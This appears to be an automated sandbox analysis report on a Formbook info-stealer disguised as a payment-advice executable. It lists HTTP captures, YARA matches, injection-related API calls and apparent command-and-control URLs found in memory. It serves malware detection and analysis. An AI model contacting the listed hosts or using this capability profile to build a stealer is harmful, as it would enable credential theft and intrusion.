20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Hnb5xHf90hZxJkJDfW%2B52BoxkAeQBb75kdlvCMy4QBICfjepzilPOnSN6ytLc2HzauLLKhcrCvQZyqP89xySCM73WIswB2utuTIiVdHU720CB4Py0MoXAqfbiUQ6lYnBqPs%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d051fe14b1c0dc7-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5xnBmf266scKHJGfxVtHuRnMp1F7fLdWZfKhKAWfxmVjC3NJGOAWYxy0FGzOFBPgJ8z2N%2BX2n5VbY5LPoY%2BFBklPcNYMW5OTBdDiPHUHq3Cwo%2B1neitaTzQOWriK%2FYpM3qWC6g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d051ff12e2a42f7-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2BBRvmjHAN5uH7z1Uwmb7cCpp0dAsup%2BoiR5QVx1znMUTyTwnj20dEnKwO63VGQwjJ2sEzFLI0IndB27tB2j33%2FPEa%2BjkCJB96e6tbxO9qpCa0yKtKS5bGS2hZu%2FQEFHotHYXA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d052001491a8c3c-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3FFpYnTOZs%2F4Qz4Uny3QpIRrvSdA2JgPRyNMrXSO1hwkZFKdnLJgY%2BqojIQr6cDDMmjWOlPoabOqxqA%2BxN7%2FwapVD4dw%2Bwmu3d%2F8S8uvIufirwB2RV8JR5x16LYicK1p4NTmHQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8d0520110b546a53-EWRalt-svc: h3=":443"; ma=86400Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 10 Oct 2024 08:09:01 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7679f-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: NETSTAT.EXE, 00000006.00000002.2960171619.00000000044C6000.00000004.10000000.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000002.2959969175.00000000035D6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2687690315.000000001AA26000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.chalet-tofane.net:80/w5h3/?xNv=1SmCwmpOaIYJfuspvbmYENxQiVuKofAafkRqArhwQnoekPS2kKO
Source: eYlgnnKYnAjqSS.exe, 00000007.00000002.2959379992.00000000011FD000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.wcq24.top
Source: eYlgnnKYnAjqSS.exe, 00000007.00000002.2959379992.00000000011FD000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.wcq24.top/4jol/
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NETSTAT.EXE, 00000006.00000002.2958501115.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: NETSTAT.EXE, 00000006.00000002.2958501115.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: NETSTAT.EXE, 00000006.00000002.2958501115.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: NETSTAT.EXE, 00000006.00000002.2958501115.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: NETSTAT.EXE, 00000006.00000002.2958501115.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: NETSTAT.EXE, 00000006.00000003.2573878497.0000000008328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: NETSTAT.EXE, 00000006.00000003.2581601481.000000000834D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Key, Mouse, Clipboard, Microphone and Screen Capturing

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2959379992.00000000011A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342184824.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2958344133.00000000030E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959484035.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959545540.0000000003600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2341550139.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342246132.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959632438.0000000002E80000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.2959379992.00000000011A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2342184824.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2958344133.00000000030E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2959484035.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.2959545540.0000000003600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2341550139.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2342246132.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2959632438.0000000002E80000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: initial sample

Static PE information: Filename: PAYMENT ADVISE#9879058.exe

Source: C:\Windows\SysWOW64\svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042CA53 NtClose,		1_2_0042CA53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772B60 NtClose,LdrInitializeThunk,		1_2_03772B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772DF0 NtQuerySystemInformation,LdrInitializeThunk,		1_2_03772DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772C70 NtFreeVirtualMemory,LdrInitializeThunk,		1_2_03772C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037735C0 NtCreateMutant,LdrInitializeThunk,		1_2_037735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03774340 NtSetContextThread,		1_2_03774340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03774650 NtSuspendThread,		1_2_03774650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772BF0 NtAllocateVirtualMemory,		1_2_03772BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772BE0 NtQueryValueKey,		1_2_03772BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772BA0 NtEnumerateValueKey,		1_2_03772BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772B80 NtQueryInformationFile,		1_2_03772B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772AF0 NtWriteFile,		1_2_03772AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772AD0 NtReadFile,		1_2_03772AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772AB0 NtWaitForSingleObject,		1_2_03772AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772F60 NtCreateProcessEx,		1_2_03772F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772F30 NtCreateSection,		1_2_03772F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772FE0 NtCreateFile,		1_2_03772FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772FB0 NtResumeThread,		1_2_03772FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772FA0 NtQuerySection,		1_2_03772FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772F90 NtProtectVirtualMemory,		1_2_03772F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772E30 NtWriteVirtualMemory,		1_2_03772E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772EE0 NtQueueApcThread,		1_2_03772EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772EA0 NtAdjustPrivilegesToken,		1_2_03772EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772E80 NtReadVirtualMemory,		1_2_03772E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772D30 NtUnmapViewOfSection,		1_2_03772D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772D10 NtMapViewOfSection,		1_2_03772D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772D00 NtSetInformationFile,		1_2_03772D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772DD0 NtDelayExecution,		1_2_03772DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772DB0 NtEnumerateKey,		1_2_03772DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772C60 NtCreateKey,		1_2_03772C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772C00 NtQueryInformationProcess,		1_2_03772C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772CF0 NtOpenProcess,		1_2_03772CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772CC0 NtQueryVirtualMemory,		1_2_03772CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03772CA0 NtQueryInformationToken,		1_2_03772CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03773010 NtOpenDirectoryObject,		1_2_03773010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03773090 NtSetValueKey,		1_2_03773090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037739B0 NtGetContextThread,		1_2_037739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03773D70 NtOpenThread,		1_2_03773D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03773D10 NtOpenProcessToken,		1_2_03773D10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03994340 NtSetContextThread,LdrInitializeThunk,		6_2_03994340
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03994650 NtSuspendThread,LdrInitializeThunk,		6_2_03994650
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992BA0 NtEnumerateValueKey,LdrInitializeThunk,		6_2_03992BA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992BF0 NtAllocateVirtualMemory,LdrInitializeThunk,		6_2_03992BF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992BE0 NtQueryValueKey,LdrInitializeThunk,		6_2_03992BE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992B60 NtClose,LdrInitializeThunk,		6_2_03992B60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992AD0 NtReadFile,LdrInitializeThunk,		6_2_03992AD0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992AF0 NtWriteFile,LdrInitializeThunk,		6_2_03992AF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992FB0 NtResumeThread,LdrInitializeThunk,		6_2_03992FB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992FE0 NtCreateFile,LdrInitializeThunk,		6_2_03992FE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992F30 NtCreateSection,LdrInitializeThunk,		6_2_03992F30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992E80 NtReadVirtualMemory,LdrInitializeThunk,		6_2_03992E80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992EE0 NtQueueApcThread,LdrInitializeThunk,		6_2_03992EE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992DD0 NtDelayExecution,LdrInitializeThunk,		6_2_03992DD0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992DF0 NtQuerySystemInformation,LdrInitializeThunk,		6_2_03992DF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992D10 NtMapViewOfSection,LdrInitializeThunk,		6_2_03992D10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992D30 NtUnmapViewOfSection,LdrInitializeThunk,		6_2_03992D30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992CA0 NtQueryInformationToken,LdrInitializeThunk,		6_2_03992CA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992C70 NtFreeVirtualMemory,LdrInitializeThunk,		6_2_03992C70
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992C60 NtCreateKey,LdrInitializeThunk,		6_2_03992C60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039935C0 NtCreateMutant,LdrInitializeThunk,		6_2_039935C0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_039939B0 NtGetContextThread,LdrInitializeThunk,		6_2_039939B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992B80 NtQueryInformationFile,		6_2_03992B80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992AB0 NtWaitForSingleObject,		6_2_03992AB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992F90 NtProtectVirtualMemory,		6_2_03992F90
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992FA0 NtQuerySection,		6_2_03992FA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992F60 NtCreateProcessEx,		6_2_03992F60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992EA0 NtAdjustPrivilegesToken,		6_2_03992EA0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992E30 NtWriteVirtualMemory,		6_2_03992E30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992DB0 NtEnumerateKey,		6_2_03992DB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992D00 NtSetInformationFile,		6_2_03992D00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992CC0 NtQueryVirtualMemory,		6_2_03992CC0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992CF0 NtOpenProcess,		6_2_03992CF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03992C00 NtQueryInformationProcess,		6_2_03992C00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03993090 NtSetValueKey,		6_2_03993090
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03993010 NtOpenDirectoryObject,		6_2_03993010
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03993D10 NtOpenProcessToken,		6_2_03993D10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03993D70 NtOpenThread,		6_2_03993D70
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03108FF0 NtCreateFile,		6_2_03108FF0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03109300 NtClose,		6_2_03109300
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03109260 NtDeleteFile,		6_2_03109260
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03109160 NtReadFile,		6_2_03109160
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_03109460 NtAllocateVirtualMemory,		6_2_03109460
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370F292 NtReadVirtualMemory,		6_2_0370F292
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_0370F177 NtQueryInformationProcess,		6_2_0370F177

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00409A40		0_2_00409A40
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00412038		0_2_00412038
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0047E1FA		0_2_0047E1FA
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0041A46B		0_2_0041A46B
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0041240C		0_2_0041240C
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004045E0		0_2_004045E0
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00412818		0_2_00412818
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0047CBF0		0_2_0047CBF0
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0044EBBC		0_2_0044EBBC
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00412C38		0_2_00412C38
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00490D70		0_2_00490D70
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0044ED9A		0_2_0044ED9A
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00424F70		0_2_00424F70
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0041AF0D		0_2_0041AF0D
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00427161		0_2_00427161
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004212BE		0_2_004212BE
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00443390		0_2_00443390
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00443391		0_2_00443391
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0041D750		0_2_0041D750
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004037E0		0_2_004037E0
